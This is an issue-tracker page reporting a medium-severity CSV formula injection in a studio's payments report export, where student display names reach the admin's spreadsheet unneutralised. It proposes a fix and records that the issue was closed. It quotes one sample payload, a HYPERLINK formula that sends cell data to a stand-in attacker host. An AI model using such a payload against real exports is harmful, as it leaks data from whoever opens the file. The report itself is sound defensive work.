CSV formula injection in payments export via student display names #39

New Issue

2026-06-10T18:50:30Z

thatguygriff commented

2026-06-10 18:50:30 +00:00

Finding (security review — Medium)

PaymentReport::csvLine() (src/Payment/PaymentReport.php) quotes fields and doubles embedded quotes, but does not neutralise cells beginning with =, +, -, @, tab, or CR.

Students choose their own display_name at registration (src/Auth/RegistrationPage.php — sanitize_text_field permits all of those characters), and that name flows into the CSV the studio admin downloads via the payments report export (src/Payment/PaymentReportController.php).

A student named =HYPERLINK("https://evil.example/?"&A1,"total") becomes a live formula when the admin opens the report in Excel or Google Sheets (classic CSV/formula injection, can exfiltrate sheet data or worse with DDE).

Fix

In csvLine(), prefix a ' to any field starting with one of = + - @ \t \r before quoting, so spreadsheet apps treat it as text. Add a unit test covering a hostile display name.

## Finding (security review — Medium) `PaymentReport::csvLine()` (src/Payment/PaymentReport.php) quotes fields and doubles embedded quotes, but does not neutralise cells beginning with `=`, `+`, `-`, `@`, tab, or CR. Students choose their own `display_name` at registration (src/Auth/RegistrationPage.php — `sanitize_text_field` permits all of those characters), and that name flows into the CSV the studio admin downloads via the payments report export (src/Payment/PaymentReportController.php). A student named `=HYPERLINK("https://evil.example/?"&A1,"total")` becomes a live formula when the admin opens the report in Excel or Google Sheets (classic CSV/formula injection, can exfiltrate sheet data or worse with DDE). ## Fix In `csvLine()`, prefix a `'` to any field starting with one of `= + - @ \t \r` before quoting, so spreadsheet apps treat it as text. Add a unit test covering a hostile display name.

thatguygriff added the payments security labels 2026-06-10 18:50:30 +00:00

thatguygriff referenced this issue from a commit

2026-06-10 19:36:30 +00:00

Security fixes: CSV injection, policy body output, invite hashing, slot datetimes

thatguygriff referenced this issue

2026-06-10 19:39:33 +00:00

Security fixes: CSV injection, policy body output, invite token hashing, slot datetime validation #43

thatguygriff closed this issue

2026-06-10 19:51:22 +00:00

Sign in to join this conversation.